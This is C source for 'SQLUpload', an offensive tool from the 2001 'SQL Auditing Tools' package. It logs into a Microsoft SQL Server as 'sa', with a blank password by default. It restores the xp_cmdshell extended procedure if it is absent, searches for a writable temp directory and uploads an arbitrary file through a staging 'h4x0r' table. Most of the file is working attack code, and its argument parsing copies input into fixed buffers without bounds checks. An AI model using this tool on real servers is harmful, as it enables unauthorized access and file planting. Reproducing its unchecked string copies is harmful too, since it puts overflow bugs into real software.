/* 
   SQL Auditing Tools
   Copyright (C) Patrik Karlsson 2001
   
   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; either version 2 of the License, or
   (at your option) any later version.
   
   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.
   
   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/

#include "tds.h"
#include "sqlupload.h"
#include "sqllib.h"
#include "util.h"
#include "constants.h"
#include <getopt.h>

/*
  Set a few default values
*/
TDSLOGIN *set_target_defaults(TDSLOGIN *login) {

  login = tds_alloc_login();
  tds_set_passwd(login, "");
  tds_set_user(login, "sa");
  tds_set_app(login, "Microsoft Access");
  tds_set_host(login, "xxx");
  tds_set_library(login,"TDS-Library");
  tds_set_charset(login,"iso_1");
  tds_set_language(login, "us_english");
  tds_set_server(login, "");
  tds_set_packet(login, 512);
  tds_set_port(login, 1433);

  return login;

}

/*
  Output usage for l00sers
*/
void usage(char **argv) {

  printf("\tSQLUPLOAD %s by patrik.karlsson@ixsecurity.com\n", 
	 SQLTOOLS_VERSION);
  printf("\t---------------------------------------------------\n");
  printf("\tusage: %s [options]\n\n", argv[0]);
  printf("\t\t-i* <ipaddress> to probe\n");
  printf("\t\t-f <filename> to upload\n");
  printf("\t\t-u username\n");
  printf("\t\t-p password\n");
  printf("\t\t-t path to tempdir if not autodetected\n");
  printf("\t\t-h this\n");
  printf("\t\t-v verbose\n\n");
  
}

/*
  Check some stuff and start uploading
*/
int SQLUpload(struct args_struct args) {

  /* dirs to try to upload to */
  char *pDirs[5] = {"c:\\temp", "c:\\winnt\\temp", "d:\\temp", 
		    "e:\\temp", "c:\\"};
  int i, nDirCount = 4;

  TDSLOGIN *login;
  TDSSOCKET *tds;
  char sTMP[256];
  char *pUploadFileName;
  char bLooser = 0;

  memset(sTMP, 0, sizeof(sTMP));

  /* check if the file actually exists */
  if ( !fileExist(args.filename) ) {
    fprintf(stderr, "ERROR: Could not find %s\n", args.filename);
    exit(1);
  }

  pUploadFileName = getFilenameFromPath(args.filename);
  login = set_target_defaults(login);

  /* no username supplied, assuming sa */
  if ( strlen(args.sUser) == 0 )
    strcpy(args.sUser, "sa");

  /* set the parameters of the login struct */
  tds_set_server(login, args.sIP);
  tds_set_passwd(login, args.sPass);
  tds_set_user(login, args.sUser);

  if ( args.verbose )
    printf("-- Logging in to %s --\n", args.sIP);

  /* try to login */
  if( (tds = tds_connect(login)) !=NULL ) {

    /* check for xp_cmdshell */
    if ( !ifExistsXP(tds, "xp_cmdshell") ) {
      fprintf(stderr, "WARNING: could not find xp_cmdshell\n");
      fprintf(stderr, "INFO: Trying to add xp_cmdshell\n");

      if ( sp_addextendedproc(tds, "xp_cmdshell", "xpsql70.dll") )
	fprintf(stderr, "INFO: Added xp_cmdshell\n");
      else {
	fprintf(stderr, "WARNING: Failed to add xp_cmdshell\n");
	sqlExec(tds, "drop procedure xp_cmdshell\n");
      }

      bLooser = 1;

    }

    /* drop any old 31337 h4x0r table */
    dropHaxorTable(tds);

    /* no path supplied, try to find one */
    if ( strlen(args.sTempPath) == 0 ) {

      if ( args.verbose )
	printf("-- Searching for temp path --\n");

      /* try to locate a suitable upload dir */
      for ( i=0; i<nDirCount; i++ ) {
	if ( dirExists(tds, pDirs[i]) )
	  strcpy(args.sTempPath, pDirs[i]);
      }

      /* no exploitdir found */
      if ( strlen(args.sTempPath) == 0 ) {
	tds_free_login(login);
	fprintf(stderr, "ERROR: No temp path found\n");
	return FALSE;
      }

    }
    /* the user supplied a upload dir */
    else {
      if ( !dirExists(tds, args.sTempPath) ) {
	tds_free_login(login);
	fprintf(stderr, "ERROR: The temp path was not found\n");
	return FALSE;
      }
    }

    fprintf(stdout, "Your file will be in %s\n", args.sTempPath);

    /* create the 31337 h4x0r table */
    if ( !createHaxorTable(tds) )
      printf("Error creating haxortable!\n");

    if ( args.verbose )
      printf("-- Uploading %s --\n", args.filename);

    /* do the actual uploading */
    if ( uploadFile(tds, args.filename, pUploadFileName, args.sTempPath) != TRUE ) 
      fprintf(stderr, "ERROR: Error uploading file!\n");

    /* drop the souper secret 31337 h4x0r table */
    if ( !dropHaxorTable(tds) ) {
      printf("Error dropping haxortable!\n");
      return FALSE;
    }
    
  }
  else {
    fprintf(stderr, "ERROR: Login failed ...\n");
    return FALSE;
  } /* end if connect */

  /* free willy */

  /* Should we drop the xp_cmdshell ? */
  if ( bLooser )
    sqlExec(tds, "drop procedure xp_cmdshell");

  tds_free_login(login);
  free(pUploadFileName);

  return TRUE;

}

/*
  Initialize all arguments
*/
void initArguments(struct args_struct *pArgs) {

  pArgs->verbose = FALSE;
  memset(pArgs->sIP, 0, sizeof(pArgs->sIP));
  memset(pArgs->sUser, 0, sizeof(pArgs->sUser));
  memset(pArgs->sPass, 0, sizeof(pArgs->sPass));
  memset(pArgs->sTempPath, 0, sizeof(pArgs->sTempPath));
  memset(pArgs->filename, 0, sizeof(pArgs->filename));

}

/*
  MAIN
*/
int main(int argc, char **argv) {

  struct args_struct args;
  int c = 0;

  initArguments(&args);

  while (1) {

    c = getopt (argc, argv, "i:u:p:vt:hf:");

    if ( c == -1 ) 
      break;

    switch (c) {
      
    case 'f':
      if ( strlen(optarg) <= sizeof(args.filename) ) {
	strncpy(args.filename, optarg, strlen(optarg));
      }
      break;

    case 'i':
      if ( strlen(optarg) <= sizeof(args.sIP) ) {
	strncpy(args.sIP, optarg, strlen(optarg));
      }
      break;

    case 'u':
      strncpy(args.sUser, optarg, strlen(optarg));
      break;

    case 'h':
      usage(argv);
      exit(1);
      break;

    case 'p':
      strncpy(args.sPass, optarg, strlen(optarg));
      break;

    case 'v':
      args.verbose = TRUE;
      break;

    case 't':
      strcpy(args.sTempPath, optarg);
      break;

    default:
      usage(argv);
      exit(1);
    }

  }

  /* check for needed params */
  if ( strlen(args.sIP) == 0 ) {
    usage(argv);
    exit(1);
  }

  fprintf(stdout, "SQLUpload by Patrik Karlsson "
	  "<patrik.karlsson@ixsecurity.com>\n\n");

  return SQLUpload(args);
  
}
